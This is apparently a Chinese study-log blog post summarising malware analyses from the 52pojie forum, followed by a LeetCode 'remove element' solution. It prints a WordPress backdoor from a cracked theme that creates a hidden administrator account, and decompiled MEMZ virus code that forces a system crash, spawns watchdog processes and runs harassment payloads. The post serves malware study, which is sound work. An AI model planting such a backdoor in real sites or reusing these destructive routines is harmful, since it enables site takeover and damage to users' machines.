每日看病毒分析和leetcode-1

justnews 5.2.3破解版后门

52pojie链接 https://www.52pojie.cn/thread-1084019-1-1.html

没有搜到样本,后门流程如下:

  1. functions.php 添加了一个后门的动作,增加了一个访问密钥为go,backdoor/123456的账户
  2. 后面一个panel.php多层base64编码了网站、作者等信息。

这个作者的另一篇文章 https://www.52pojie.cn/thread-1074873-1-1.html

有样本,查看

1
2
3
4
5
6
7
8
9
10
11
12
add_action('wp_head', 'wp_backdoor');
function wp_backdoor()
{
if (md5($_GET['backdoor']) == '34d1f91fb2e514b8576fab1a75a89a6b') {
require('wp-includes/registration.php');
if (!username_exists('backdoor')) {
$user_id = wp_create_user('backdoor', '123456');
$user = new WP_User($user_id);
$user->set_role('administrator');
}
}
}

和这个一样的逻辑啊。。

混淆加密帖子 https://www.52pojie.cn/thread-1074918-1-1.html

PHP Debug+vscode+xDebug+php7.2+PHP 智能补全,单步调试到eval就可以看到主逻辑

php解密资料(zym加密)https://www.52pojie.cn/thread-693641-1-1.html

伪装成docx的病毒分析

https://www.52pojie.cn/thread-1412858-1-1.html

没有给样本

可以使用Detous Hook反调试函数(新知识)

彩虹猫(MEMZ)病毒分析

https://www.52pojie.cn/thread-1096117-1-1.html

解压后有个bat文件,然后使用批处理+ActiveX命令

流程:

  1. 使用base64串建立x文件
  2. 建立x.js,用于base64解码x到z.zip
  3. 解码x之后再解压memz文件到%appdata%\MEMZ.exe
  4. 删除x,x.js,z.zip
  5. 执行MEMZ.exe

过程中所有的输出均被重定向到NUL

前面输入了一大堆base64,输出后是个magic number为PK的文件,结合bat文件命令,这应该是一个zip压缩包

解压之后就是那个memz.exe了(只有15kb的病毒,很有前途啊)

exeinfope扫描,32位,无壳

getSystemMetics https://baike.baidu.com/item/GetSystemMetrics/5608817 获取屏幕分辨率,分别是x,y

病毒第一次运行,会创建10个自己,参数是/watchdog,然后以main参数运行,并退出程序

/watchdog参数下会最终拒绝关机,不断地衍生出更多进程,每次会等待10秒。如果进程减少了,获取关机权限

获取关机权限函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
BOOL __usercall sub_401021@<eax>(int a1@<ebp>)
{
int v1; // esi
int v2; // esi
HMODULE v3; // edi
FARPROC RtlAdjustPrivilege; // ebx
FARPROC NtRaiseHardError; // eax
void (__cdecl *v6)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // esi
HANDLE v7; // eax
int v9; // [esp-20h] [ebp-28h]
struct _TOKEN_PRIVILEGES v10; // [esp-18h] [ebp-20h] BYREF
int v11; // [esp-8h] [ebp-10h] BYREF
HANDLE v12; // [esp-4h] [ebp-Ch] BYREF
int v13; // [esp+0h] [ebp-8h] BYREF
int v14; // [esp+4h] [ebp-4h]

v1 = 20;
do
{
CreateThread(0, 0x1000u, StartAddress, 0, 0, 0);
Sleep(0x64u);
--v1;
}
while ( v1 );
v2 = v14;
v14 = a1;
v9 = v2;
v3 = LoadLibraryA("ntdll");
RtlAdjustPrivilege = GetProcAddress(v3, "RtlAdjustPrivilege");
NtRaiseHardError = GetProcAddress(v3, "NtRaiseHardError");
v6 = (void (__cdecl *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))NtRaiseHardError;
if ( RtlAdjustPrivilege && NtRaiseHardError )
{
((void (__cdecl *)(int, int, _DWORD, char *, int, int))RtlAdjustPrivilege)(19, 1, 0, (char *)&v13 + 3, v13, v9);
v6(-1073741790, 0, 0, 0, 6, &v11);
}
v7 = GetCurrentProcess();
OpenProcessToken(v7, 0x28u, &v12);
LookupPrivilegeValueW(0, L"SeShutdownPrivilege", (PLUID)v10.Privileges);
v10.PrivilegeCount = 1;
v10.Privileges[0].Attributes = 2;
AdjustTokenPrivileges(v12, 0, &v10, 0, 0, 0);
return ExitWindowsEx(6u, 0x10007u);
}

监测数量部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
while ( 1 )
{
v2 = CreateToolhelp32Snapshot(2u, 0);
pe.dwSize = 556;
Process32FirstW(v2, &pe);
v3 = lpString1;
v4 = 0;
do
{
hObject = OpenProcess(0x400u, 0, pe.th32ProcessID);
lpString2 = (LPCSTR)LocalAlloc(0x40u, 0x200u);
GetProcessImageFileNameA(hObject, lpString2, 512);
if ( !lstrcmpA(v3, lpString2) )
++v4;
CloseHandle(hObject);
LocalFree((HLOCAL)lpString2);
}
while ( Process32NextW(v2, &pe) );
CloseHandle(v2);
if ( v4 < v7 )
sub_401021();
v7 = v4;
Sleep(0xAu);
}

向PhysicalDrive0写入几个奇怪的字节,0x7A0大小。看大佬分析是改变了扇区启动项。

然后创建线程,函数列表位于405130,共10个函数

  1. 打开随机网址
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    int __cdecl sub_4014FC(int a1)
    {
    unsigned int v1; // eax
    int v2; // eax

    v1 = sub_401A55();
    ShellExecuteA(0, "open", (&lpFile)[v1 % 0x2E], 0, 0, 10);
    v2 = sub_401A55();
    return sub_401B09(
    COERCE_UNSIGNED_INT64((double)a1),
    HIDWORD(COERCE_UNSIGNED_INT64((double)a1)),
    (double)(v2 % 200) + 1500.0 / ((double)a1 / 15.0 + 1.0) + 100.0);
    }
  2. 随机设置鼠标位置
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    int __cdecl sub_40156D(int a1, int a2)
    {
    int v2; // esi
    int v3; // edi
    int v4; // ecx
    int v5; // esi
    int v6; // ecx
    int v7; // eax
    int v8; // ecx
    int v9; // eax
    int v11; // [esp-4h] [ebp-18h]
    struct tagPOINT Point; // [esp+Ch] [ebp-8h] BYREF

    GetCursorPos(&Point);
    v2 = a2 / 2200 + 2;
    v3 = sub_401A55(2200) % v2;
    v5 = sub_401A55(v4) % v2;
    v7 = sub_401A55(v6);
    v11 = Point.y + v3 * (v7 % 3 - 1);
    v9 = sub_401A55(v8);
    SetCursorPos(Point.x + v5 * (v9 % 3 - 1), v11);
    return 2;
    }
  3. 通过sendInput发送随机ASCII码消息
  4. 播放SystemHand声音
  5. 随便画一些东西
  6. 弹出Still using this computer? lol
  7. 随机画图标
  8. 穷举桌面上的窗口,并发送超时消息。这样会导致系统崩溃
  9. 复制一个矩形
  10. 还是随机画矩形

leetcode每日一题 27. 移除元素

思路:先从后向前扫描相等的,直到数组空或遇到不相等的为止。然后从前向后扫描,直到遇到last为止。如果从前向后遇到要去除的数,则让last指向的数替换这个数,last前移,直到遇到下一个不相等的数为止

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int removeElement(int* nums, int numsSize, int val){
if(!numsSize)return 0;
int last=numsSize-1;
while(last>-1&&nums[last]==val){
last--;
}
// if(!last)return last;
for(int i=0;i<last;i++){
if(nums[i]==val){
nums[i]=nums[last];
last--;
while(last&&nums[last]==val){
last--;
}
}
}
return last+1;
}